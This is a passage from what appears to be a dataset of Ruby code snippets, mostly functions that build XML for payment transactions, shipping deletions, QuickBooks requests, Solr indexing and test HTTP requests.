:TxnDetails do\n xml.tag! :amount, amount(money)\n end\n end\n end\n end\n xml.target!\n end", "def formatLogBatchAsXML(list)\n timeMillis = DateTime.now.strftime('%Q')\n outStr = %Q{<add>\\n}\n # outStr = %Q{<add commitWithin=\"200\">\\n}\n # outStr = %Q{<add commit=\"true\" softCommit=\"true\">\\n}\n idx = 0\n list.each do |diz|\n idx = idx + 1\n outStr = outStr + \"<doc>\\n\"\n outStr = outStr + %Q{<field name=\"id\">#{timeMillis}-#{idx}</field>\\n}\n # we don't want to send all the fields, only a selection.\n ['date', 'machine', 'serviceName', \n 'servicePid', 'parseFails','src'].each do |k| \n datTmp = diz[k].to_s.strip\n # ATTENTION: of course the next trasformation must be the first one.\n datTmp.gsub! \"&\", '&amp;'\n datTmp.gsub! '<', '&lt;'\n datTmp.gsub! '>', '&gt;'\n datTmp.gsub! '\"', '&quot;'\n datTmp.gsub! \"'\", '&apos;' \n tmp = %Q[<field name=\"#{k}\">#{datTmp}</field>\\n] \n outStr = outStr + tmp \n end\n outStr = outStr + \"</doc>\\n\"\n end\n outStr = outStr + \"</add>\"\n return outStr\n end", "def get_transactions(*params); raise('Stub or mock required.') end", "def make_url(params) #:nodoc:\n params[:key] = @key\n params[:output] = 'xml'\n\n super params\n end", "def create_tx(tx, prev_tx, prev_out_index, outputs, key = @key)\n tx.input {|i| i.prev_out prev_tx; i.prev_out_index prev_out_index; i.signature_key key }\n outputs.each do |value, key|\n tx.output {|o| o.value value; o.script {|s| s.recipient key.addr } }\n end\nend", "def to_xml\n a = REXML::Element.new(\"parameter\")\n a.add_attribute(\"id\", id)\n a.add_attribute(\"name\", name)\n if (description != nil)\n a.add_element(\"description\").text = description\n end\n if (defaultValue != nil)\n a.add_element(\"default\").text = defaultValue\n end\n return a\n end", "def onTransactionUndo(_)\n return if !tool_active? || @undone\n\n @undone = true # prevent recursion\n Sketchup.undo # call a second undo since new operation has already started\n update_comp\n refresh_html\n end", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\treturn \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\tend", "def transaction\n params[\"TransId\"]\n end", "def create_transaction_data(process, money, parameters)\n url = make_url('EntryTran')\n\n data = {}\n data[:Version] = '105'\n data[:ShopID] = @options[:login]\n data[:ShopPass] = @options[:password]\n data[:OrderID] = parameters[:OrderID]\n data[:JobCd] = process\n data[:Amount] = amount(money)\n data[:Tax] = '0'\n\n [url, data.to_query]\n end", "def to_xml\n\t\tend", "def to_xml\n\t\tend", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.DeleteShipmentRequest(:xmlns => \"http://fedex.com/ws/ship/v10\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n xml.TrackingId {\n xml.TrackingIdType \"FEDEX\"\n xml.TrackingNumber @tracking_number\n } \n xml.DeletionControl \"DELETE_ALL_PACKAGES\"\n }\n end\n builder.doc.root.to_xml\n end", "def to_xml(opts={})\n { :name => self.controller_name,\n :parameters => self.queryable_params,\n :identifier => self.xml_identifier\n }.to_xml(opts.merge(:root => \"resource\"))\n end", "def undo\n\t\t\t\t\n\t\t\tend", "def to_xml\n builder.target!\n end", "def weixin_xml\n template_xml = <<Text\n<xml>\n <ToUserName><![CDATA[#{to_user_name}]]></ToUserName>\n <FromUserName><![CDATA[#{from_user_name}]]></FromUserName>\n <CreateTime>#{create_time.to_i}</CreateTime>\n <MsgType><![CDATA[#{msg_type}]]></MsgType>\n <PicUrl><![CDATA[#{pic_url}]]></PicUrl>\n</xml> \nText\n end", "def transaction_params\n params.fetch(:transaction, {})\n end", "def transaction_params\n params.fetch(:transaction, {})\n end", "def transaction_params\n params.fetch(:transaction, {})\n end", "def to_xml()\r\n msg = REXML::Document.new\r\n msg << REXML::Element.new(\"#{@type.to_s}\")\r\n msg.root << REXML::Element.new(\"GROUP\").add_text(\"#{@group}\") if @group != nil\r\n msg.root << REXML::Element.new(\"ID\").add_text(\"#{@procID}\") if @procID != nil\r\n msg.root << REXML::Element.new(\"PATH\").add_text(\"#{@path}\") if @path != nil\r\n msg.root << REXML::Element.new(\"ARGSLINE\").add_text(\"#{@cmdLineArgs.join(\" \")}\") if @cmdLineArgs != nil\r\n # Build the <ENV> child element\r\n if !@env.empty? \r\n line = \"\"\r\n @env.each { |k,v|\r\n line << \"#{k.to_s}=#{v.to_s} \" \r\n }\r\n msg.root << REXML::Element.new(\"ENV\").add_text(\"#{line}\")\r\n end\r\n # Build the <OML_CONFIG> child element\r\n if @omlConfig != nil\r\n el = REXML::Element.new(\"OML_CONFIG\")\r\n el.add_element(@omlConfig)\r\n msg.root << el\r\n end\r\n return msg\r\n end", "def toxml\n\t\tend", "def rollback()\n conn = connection(@rollback_uri)\n resp = conn.post \n return DeziResponse.new(resp)\n end", "def to_xml\n output=\"\"\n self.to_rexml.write output\n end", "def _create_xml(method_name, isExtApi, data = [])\n raise \"Invalid data! Needs to be an array\" if isExtApi && !data.is_a?(Array)\n\n output = \"\"\n xml = Builder::XmlMarkup.new(:target => output, :indent => 1)\n xml.instruct!\n xml.methodCall {\n xml.methodName isExtApi ? \"extapi.callWpMethod\" : method_name\n xml.params {\n xml.param {\n xml.value {\n xml.string @rpc_admin\n }\n }\n xml.param {\n xml.value {\n xml.string @rpc_password\n }\n }\n if isExtApi\n xml.param {\n xml.value {\n xml.string method_name\n }\n }\n end\n xml.param {\n xml.value {\n if isExtApi\n xml.array {\n xml.data {\n data.each do |param|\n if param.is_a? Hash\n xml.value {\n _create_key_value_xml_struct(output, param)\n }\n else\n _create_value_xml_struct(output, param)\n end\n end\n }\n }\n else\n _create_key_value_xml_struct(output, data)\n end\n }\n }\n }\n }\n return output\n end", "def normal_transactions(address, args = {})\n action = 'txlist'\n transcations(action, address, nil, args)\n end", "def undo\n\t\tremake = CreateFileCommand.new(filePath, fileContent)\n\t\tremake.execute\n\tend", "def to_xml(options = T.unsafe(nil)); end", "def to_xml(options = T.unsafe(nil)); end", "def generate_xml( args={} )\n biomart_xml = \"\"\n xml = Builder::XmlMarkup.new( :target => biomart_xml, :indent => 2 )\n \n xml.instruct!\n xml.declare!( :DOCTYPE, :Query )\n xml.Query( :virtualSchemaName => \"default\", :formatter => \"TSV\", :header => \"0\", :uniqueRows => \"1\", :count => args[:count], :datasetConfigVersion => \"0.6\" ) {\n xml.Dataset( :name => @name, :interface => \"default\" ) {\n \n if args[:filters]\n args[:filters].each do |name,value|\n if value.is_a? Array\n value = value.join(\",\")\n end\n xml.Filter( :name => name, :value => value )\n end\n else\n self.filters.each do |name,filter|\n if filter.default\n xml.Filter( :name => name, :value => filter.default_value )\n end\n end\n end\n \n unless args[:count]\n if args[:attributes]\n args[:attributes].each do |name|\n xml.Attribute( :name => name )\n end\n else\n self.attributes.each do |name,attribute|\n if attribute.default\n xml.Attribute( :name => name )\n end\n end\n end\n end\n \n }\n }\n \n return biomart_xml\n end", "def authorizeAndCaptureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeAndCaptureTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeAndCaptureTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", \n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false'\n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeAndCaptureXML!\"\n end\n end", "def _to_xml(xml)\n end", "def getTransactions\n\t\t\n\tend", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend", "def to_xml(xm)\n xm.ResourceTemplate do |xm|\n value_tag(xm, \"rel\")\n value_tag(xm, \"name\")\n value_tag(xm, \"path_template\")\n value_tag(xm, \"uri_template\")\n\n list_tag(xm, params, \"Params\", \"param\")\n list_tag(xm, optional_params, \"OptionalParams\", \"param\")\n\n # could use a list of elements here, but let's follow HTTP's lead and reduce the verbosity\n xm.options(options.join(\", \")) unless options.empty?\n\n resource_templates.to_xml(xm) unless resource_templates.empty?\n end\n xm\n end", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend", "def to_xml\n Builder.new(owner, grants).to_s\n end", "def to_xml_with_cleanup(options = {}, &block)\n to_xml_without_cleanup options.merge(:include => [:records], :except => [:user_id], &block)\n end", "def destroy\n @reservation = Reservation.find(params[:id])\n xml=@reservation.to_xml\n json=@reservation.to_json\n @reservation.make_historical\n\n respond_to do |format|\n format.html { redirect_to(reservations_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end", "def to_ofx\r\n buf = \"\"\r\n # Set margin=6 to indent it nicely within the output from Transaction.to_ofx\r\n x = Builder::XmlMarkup.new(:target => buf, :indent => 2, :margin=>6)\r\n x.PAYEE {\r\n x.NAME name\r\n x.ADDR1 address\r\n x.CITY city\r\n x.STATE state\r\n x.POSTALCODE postalcode\r\n x.COUNTRY country unless country.nil? # minOccurs=\"0\" in schema (above)\r\n x.PHONE phone\r\n }\r\n return buf\r\n end", "def op_send_request_xml(params)\n return '' unless valid?\n\n # update the ticket with the metadata sent at the first request for XML (i.e. if not blank)\n @ticket.update!(\n hpc_response: (@ticket.hpc_response || params[:hcpresponse]),\n company_file_name: (@ticket.company_file_name || params[:company]),\n country: (@ticket.country || params[:country]),\n qbxml_major_version: (@ticket.qbxml_major_version || params[:major_ver]),\n qbxml_minor_version: (@ticket.qbxml_minor_version || params[:minor_ver])\n )\n\n # only process when in the Authenticated or Processing states\n unless ['Authenticated', 'Processing'].include?(@ticket.state)\n @ticket.request_error!(@last_log_message)\n return ''\n end\n\n # either grab the current request or create a new one\n request = @ticket.qb_request\n unless request\n request = create_request\n @ticket.qb_request = request\n end\n\n # if we don't have a request, then we are done.\n unless request\n log \"There is no more work to be done. Marking ticket state as finished\"\n @ticket.update!(state: 'Finished')\n return ''\n end\n\n request.update!(qb_ticket: @ticket, request_sent_at: Time.zone.now)\n qb_xml = request.to_qb_xml\n request.update!(request_qbxml: qb_xml)\n\n # set the ticket into a Processing state\n @ticket.state = 'Processing'\n\n # save the changes.\n @ticket.save!\n\n log \"Sending request [#{request.state}] XML to QuickBooks\"\n\n qb_xml\n end", "def authorizeXML(params) \n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end \n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeXML!\"\n end\n end", "def xml \n obj = {}\n expOb = Experiment.where('experimentName' => params[:experimentName]).to_a[0]\n obj['gameName'] = expOb['gameName']\n obj['sequences'] = expOb['sequences']\n obj['experimentName'] = expOb['experimentName']\n render :xml => \"<hash>\"+create_xml(obj, '')+\"</hash>\\n\"\n end", "def build_xml(objecthash, action)\n\t\tbuilder = Nokogiri::XML::Builder.new do |xml|\n\t\t\txml.send(@connectorname.to_sym, 'xmlns:xsi' => \"http://www.w3.org/2001/XMLSchema-instance\") {\n\t\t\t\txml.Element {\n\t\t\t\t\txml.Fields(Action: action) {\n\t\t\t\t\t\tobjecthash.each do |k, v|\n\t\t\t\t\t\t\txml.send(k.to_sym, v) unless k.to_s == 'Objects'\n\t\t\t\t\t\t\tbuild_nested_xml(xml, v, action) if k.to_s == 'Objects'\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\tend\n\t\treturn builder.to_xml.to_s\n\tend", "def to_s\n\t\t\"Transaction(#{@label}, #{@amount}, #{@withdrawal}, #{@date})\"\n end", "def wallet_transactions(options = {})\n options.reverse_merge!({:walk => false, :walk_id => 'before_trans_id', :walk_association => 'transactions' })\n validate_options(options, :walk, :walk_id, :walk_association)\n request(:char, :wallet_transactions, options)\n end", "def transaction_id\n\tparams['txn_id']\n end", "def to_xml(opts = {})\n to_raw.to_xml({ :root => 'document', :dasherize => true }.merge(opts))\n end", "def to_xml\n\t\t\t\"<#{@name} #{attributes_string} />\"\n\t\tend", "def to_xml(*)\n self\n end", "def to_xml(options = {})\n # Rails.logger.debug \"Tag #{id}: to_xml\"\n options[:except] ||= []\n options[:except] += self.attributes.map {|k,v| k if v.blank? }.compact\n super(options)\n end", "def changeset_dump(changesets)\n doc = XML::Document.new\n doc.root = XML::Node.new(\"osm\")\n { \"version\" => \"0.6\",\n \"generator\" => \"replicate_changesets.rb\",\n \"copyright\" => \"OpenStreetMap and contributors\",\n \"attribution\" => \"https://www.openstreetmap.org/copyright\",\n \"license\" => \"https://opendatacommons.org/licenses/odbl/1-0/\" }\n .each { |k, v| doc.root[k] = v }\n\n builder = ChangesetBuilder.new(@now, @conn)\n changesets.each do |cs|\n doc.root << builder.changeset_xml(cs)\n end\n\n doc.to_s\n end", "def to_xml(obj)\n obj.to_xml\n end", "def to_xml(builder, opf_version = '3.0')\n attr = @attributes.dup\n if opf_version.to_f < 3.0\n attr.reject!{ |k,_v| k == 'properties' }\n end\n if !attr['properties'].nil?\n attr['properties'] = attr['properties'].uniq.join(' ')\n if attr['properties'].size == 0\n 